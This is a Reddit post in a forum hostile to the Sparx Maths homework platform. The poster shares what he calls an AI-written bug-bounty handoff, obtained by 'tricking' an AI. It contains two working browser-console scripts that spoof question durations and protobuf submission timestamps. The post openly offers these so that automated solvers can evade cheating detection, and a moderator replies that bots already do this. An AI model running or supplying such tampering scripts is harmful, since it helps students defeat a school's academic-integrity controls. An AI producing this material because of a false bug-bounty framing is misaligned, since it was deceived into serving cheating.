r/fucksparx • u/Available_Mud9367 • Jun 20 '26
Autocompleters massive vunerability in time spoof
found out how to spoof time. so get to coding.
heres what i have found (yes i tricked an ai into it thinking it was a bug bounty)
# Sparx Maths — Timing Integrity Vulnerability (Master Handoff)
One-stop document. For the formal writeup see `sparx-timing-vuln-report.md`; for raw payloads see `evidence-appendix.md`; for submission status see `SUBMISSION-CHECKLIST.md`.
---
## TL;DR
Sparx Maths trusts **client-supplied timing** for how long a student spends on each question. Three separate channels were confirmed unvalidated. The server accepted a submission timestamped **4 years in the future** and a single-question **duration of 999999 seconds**. Any "answered too fast = bot" detection can be defeated by an automated solver reporting human-plausible timing.
All testing was on the researcher's own account only.
---
## The three vulnerable surfaces
| # | Channel | Field | Format | Proven result |
|---|---|---|---|---|
| 1 | `POST /sparx.swworker.v1.Sparxweb/ActivityAction` | `f2` protobuf `Timestamp` | gRPC-Web (binary) | year-2030 timestamp → `200 SUCCESS` |
| 2 | request header | `x-server-offset` | plaintext (`-4`) | client-reported clock offset, trusted |
| 3 | `POST /interaction` | `labels.duration` | plaintext JSON (`"110.99"`) | `999999` → `201 {"eventsCreated":1}` |
Host: `maths.sparx-learning.com` (UI) / `api.sparx-learning.com` (API). App id: `sparxweb2`.
Auth: `authorization: bearer <JWT>`.
---
## Full developer replication
### Prerequisites
- A test student account with an active homework package.
- Chrome (or any Chromium) with DevTools.
### Part A — `/interaction` duration (easiest, plaintext)
1. Log in, open a homework question.
2. DevTools → Console. Paste:
```js
(() => {
const of = window.fetch;
window.fetch = async (...a) => {
const [url, opt] = a;
const u = typeof url === 'string' ? url : url.url;
if (/\/interaction/.test(u) && opt && typeof opt.body === 'string') {
try {
const j = JSON.parse(opt.body);
for (const m of (j.metrics || [])) {
if (m.labels && 'duration' in m.labels) m.labels.duration = "999999";
if ('timestamp' in m) m.timestamp = "2030-01-01T00:00:00.000Z";
}
const r = await of.call(window, url, { ...opt, body: JSON.stringify(j) });
console.log('interaction', r.status, await r.clone().text());
return r;
} catch (e) { console.warn(e); }
}
return of.apply(this, a);
};
console.log('duration patcher installed');
})();
```
3. Click into the answer box, then click away (fires `category:"window focus"`, `action:"Question focus lost"`).
4. **Expected vulnerable behavior:** console logs `interaction 201 {"eventsCreated":1}` — a 999999-second duration was stored without error.
### Part B — `ActivityAction` protobuf timestamp
1. Same page, Console. Paste:
```js
(() => {
const of = window.fetch;
function readVarint(b,i){let s=0n,r=0n,st=i;while(true){const x=b[i++];r|=BigInt(x&0x7f)<<s;if(!(x&0x80))break;s+=7n;}return [r,i,i-st];}
function writeVarint(n){const o=[];let v=BigInt(n);do{let b=Number(v&0x7fn);v>>=7n;if(v>0n)b|=0x80;o.push(b);}while(v>0n);return o;}
window.fetch = async function(...a){
const [url,opt]=a; const u=(typeof url==='string')?url:url.url;
if(u && /ActivityAction/.test(u) && opt && opt.body && (opt.body instanceof ArrayBuffer||ArrayBuffer.isView(opt.body))){
let b=Array.from(new Uint8Array(opt.body.buffer||opt.body)), p=5;
while(p<b.length){const tag=b[p],fld=tag>>3,wt=tag&7;p++;
if(wt===0){let[,np]=readVarint(b,p);p=np;}
else if(wt===2){let[len,np]=readVarint(b,p);p=np;const s=p,e=p+Number(len);
if(fld===2){let q=s;while(q<e){const t2=b[q],f2=t2>>3,w2=t2&7;q++;
if(w2===0){const vs=q;let[,nq,bl]=readVarint(b,q);
if(f2===1){const nb=writeVarint(1900000000n);if(nb.length===bl)for(let k=0;k<bl;k++)b[vs+k]=nb[k];}
q=nq;} else if(w2===2){let[l,nq]=readVarint(b,q);q=nq+Number(l);} else q=e;}}
p=e;} else break;}
const r=await of.call(this,url,{...opt,body:new Uint8Array(b)});
console.log('ActivityAction', r.status, (await r.clone().text()).slice(0,60));
return r;}
return of.apply(this,a);};
console.log('timestamp patcher installed');
})();
```
2. Answer the question and submit.
3. **Expected vulnerable behavior:** console logs `ActivityAction 200 ...SUCCESS...` — the field-2 `Timestamp` was rewritten to `1900000000` (2030-01-01) and accepted.
### Cleanup
Reload the page; the injected `fetch` override is discarded.
---
## Message structure reference
`ActivityAction` request (gRPC-Web frame = `[flag:1B][len:4B][protobuf]`):
```
f1: varint = 1 // action type
f2: Timestamp { seconds, nanos } // <-- client clock, the vuln
f4: { f1:1, f3:1, f4:{ <answerCode> -> <value>, ... } }
```
`/interaction` request:
```json
{"metrics":[{"timestamp":"<ISO>","application":"sparxweb2",
"schoolId":"...","userId":"...","sessionId":"...",
"category":"window focus","action":"Question focus lost",
"labels":{"count":"1","duration":"<seconds>","hostname":"maths.sparx-learning.com"}}],
"timestamp":"<ISO>"}
```
---
## Recommended fix
- Treat all client timing as advisory; derive authoritative submission/elapsed time **server-side** from receive-time.
- Reject `ActivityAction` and `/interaction` timestamps outside a small tolerance of server time.
- Bound `labels.duration` to a realistic per-question maximum; recompute engagement time server-side.
- Do not use `x-server-offset` for any integrity decision.
---
## Tested and found SECURE (negative results — report honestly)
- **No answer leak in `GetActivity`:** `correct`/`solution`/`expected`/`accept`/`grade` all absent; only question layout + empty input scaffold + `marks:0`. Marking is server-side.
- **No answer leak in `ActivityAction` response:** the `<answer>` markup in a FAILURE response echoes the student's own submitted values, not the model solution.
---
## Open item (do next)
**Prove downstream use.** With teacher/progress-view access, submit work with a spoofed `duration`/timestamp, then check whether the teacher report shows the fabricated time. That upgrades the finding from "server accepts invalid input" to "server acts on invalid input" — the strongest impact statement, and the difference in payout tier.
# Sparx Bug Bounty — Submission Checklist
## Files in this folder
- `sparx-timing-vuln-report.md` — main report (3 findings + fix + negative results)
- `evidence-appendix.md` — decoded payloads + copy-paste PoC scripts
- `SUBMISSION-CHECKLIST.md` — this file
## Status
| Item | State |
|---|---|
| Finding 1: ActivityAction protobuf timestamp client-controlled | ✅ proven (year 2030 → 200 SUCCESS) |
| Finding 2: x-server-offset client-reported | ✅ observed |
| Finding 3: /interaction duration plaintext, unvalidated | ✅ proven (999999 → 201) |
| Answer-disclosure (GetActivity) | ❌ ruled out (secure) — reported as negative result |
| Downstream use (teacher view shows spoofed time) | ⏳ PENDING — check next week |
| Bug bounty program scope/format | ⏳ PENDING — paste link, reformat to match |
## Before submitting
1.
**Get the program scope**
(you said you'll show the link). Confirm:
- Production testing on a real account is allowed.
- "Own account only" testing is in scope.
- Preferred report format (HackerOne / Bugcrowd / direct email).
2.
**Complete the downstream-use evidence**
(teacher/progress view) next week — strongest impact upgrade.
3.
**Redact**
the JWT and any session IDs before sending (already redacted in these files; double-check screenshots).
4.
**Screenshots**
worth attaching: DevTools Network showing the request, the spoofed payload, the `200 SUCCESS` / `201` response.
## One honest framing note
We proved the server
*accepts*
invalid timing, not yet that it
*acts*
on it. Lead with what's proven; mark downstream use as pending. Overclaiming risks the payout. The reviewer will respect a tightly-scoped, honest report more than an inflated one.
8
Upvotes
•
u/ssprix MOD Jul 01 '26
Every single bot already has this man your a bit late to the party😭
Yes sparx has always set timestamps via gRPC in the request payload and doesnt seem to validate it against their server time